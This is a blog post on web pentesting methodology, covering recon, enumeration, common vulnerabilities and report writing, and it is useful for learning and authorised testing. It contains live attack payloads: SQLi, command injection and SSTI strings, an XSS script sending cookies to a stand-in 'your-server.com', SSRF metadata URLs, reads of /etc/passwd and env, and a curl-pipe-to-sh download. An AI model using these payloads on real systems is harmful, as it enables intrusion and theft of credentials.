589 words
3 minutes
Web Pentesting Methodology: From 0 to a professional report

Phases of a Web Pentest#

A professional pentest follows a clear structure. It’s not simply “launching tools” — it’s a methodical process.

1. Reconnaissance
2. Scanning and Enumeration
3. Vulnerability Identification
4. Exploitation
5. Post-Exploitation
6. Reporting

Phase 1: Reconnaissance#

Passive reconnaissance (without touching the target)#

Terminal window
# WHOIS
whois target.com
# DNS records
dig target.com ANY
dig target.com MX
dig target.com TXT
# SSL certificates (reveal subdomains)
curl -s "https://crt.sh/?q=%.target.com&output=json" | \
jq -r '.[].name_value' | sort -u
# Google Dorks
site:target.com filetype:pdf
site:target.com inurl:admin
site:target.com "password" OR "passwd"
# Wayback Machine
waybackurls target.com | tee wayback.txt

Active reconnaissance#

Terminal window
# Subdomain discovery
subfinder -d target.com -o subs_subfinder.txt
amass enum -d target.com -o subs_amass.txt
cat subs_*.txt | sort -u > all_subs.txt
# Check which ones are alive
httpx -l all_subs.txt -title -status-code -o alive.txt

Phase 2: Enumeration#

Terminal window
# Technologies
whatweb https://target.com
wappalyzer (browser extension)
# Directories and files
ffuf -w /opt/SecLists/Discovery/Web-Content/raft-large-words.txt \
-u https://target.com/FUZZ \
-fc 404 \
-o dirs.json -of json
# GET parameters
arjun -u https://target.com/search
# Extract URLs from JS
gau --mc 200 target.com | tee all_urls.txt
cat all_urls.txt | grep "\.js$" | sort -u > js_files.txt

Phase 3: Common vulnerabilities#

Injections#

Terminal window
# SQL Injection
sqlmap -u "https://target.com/user?id=1" --dbs --batch --random-agent
# Command Injection (test manually)
; id
| whoami
`id`
$(id)
# Template Injection (SSTI)
{{7*7}} # Jinja2, Twig
${7*7} # Freemarker
<%= 7*7 %> # ERB

XSS#

Terminal window
# Basic payloads
<script>alert(1)</script>
<img src=x onerror=alert(1)>
"><script>alert(document.cookie)</script>
javascript:alert(1)
# Advanced XSS - cookie theft
<script>
fetch('https://your-server.com/steal?c='+document.cookie)
</script>

IDOR (Insecure Direct Object Reference)#

# Change user IDs in requests
GET /api/user/profile/123 → change to /api/user/profile/124
POST /delete-account {"user_id": 123} → change to 124
# Tool: Autorize (Burp Suite plugin)

SSRF#

Terminal window
# Test payloads
http://127.0.0.1/admin
http://169.254.169.254/latest/meta-data/ # AWS metadata
http://localhost:8080
http://[::1]/admin # IPv6 bypass
# Detect with Burp Collaborator or interactsh
python3 -m interactsh-client

Phase 4: Exploitation#

Document everything while you exploit. Screenshots, videos, exact commands.

Terminal window
# Capture traffic with Burp
# 1. Configure the proxy in Burp (127.0.0.1:8080)
# 2. Enable intercept
# 3. Perform the vulnerable action
# 4. Save the request
# Save important requests
burp → request → save item → exploits/vuln_name.req

Phase 5: Post-Exploitation#

If you achieved RCE or access to the server:

Terminal window
# System information
id && whoami
uname -a
cat /etc/passwd
env
# Internal network
ip addr
netstat -tulpn
cat /etc/hosts
# Privilege escalation — LinPEAS
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

Phase 6: The Report#

This is the most important phase for real clients. A bad report ruins a good pentest.

Executive report structure#

1. Executive Summary
- Objective of the pentest
- Assessment period
- Summarized critical findings
- Priority recommendations
2. Methodology used
3. Detailed findings (per vulnerability):
- Description
- Severity (CVSS score)
- Steps to reproduce
- Evidence (screenshots)
- Business impact
- Remediation recommendation
4. Conclusion

Quick CVSS calculator#

Critical: 9.0 – 10.0 (Unauth RCE, SQLi with sensitive data)
High: 7.0 – 8.9 (Auth bypass, mass IDOR, internal SSRF)
Medium: 4.0 – 6.9 (Stored XSS, CSRF, Info disclosure)
Low: 0.1 – 3.9 (Reflected XSS, Missing headers)

Web pentesting checklist#

[ ] Complete passive reconnaissance
[ ] Subdomains enumerated
[ ] Technologies identified
[ ] Directories and endpoints mapped
[ ] Authentication tested (brute force, bypass)
[ ] All inputs tested for SQLi
[ ] XSS in inputs and headers
[ ] IDOR on all endpoints with IDs
[ ] SSRF in URL/redirect fields
[ ] Business logic analyzed
[ ] APIs documented and tested
[ ] Security headers verified
[ ] Evidence documented
[ ] Report written

Methodology is the difference between a hacker and a professional pentester. Constant practice on HTB, TryHackMe and PortSwigger Academy is the way. 🔴

We’ll continue with specific techniques for each vulnerability in upcoming posts.

Web Pentesting Methodology: From 0 to a professional report
https://oguiii.xyz/en/posts/metodologia-pentesting-web/
Author
Oguiii
Published at
2025-03-10
License
CC BY-NC-SA 4.0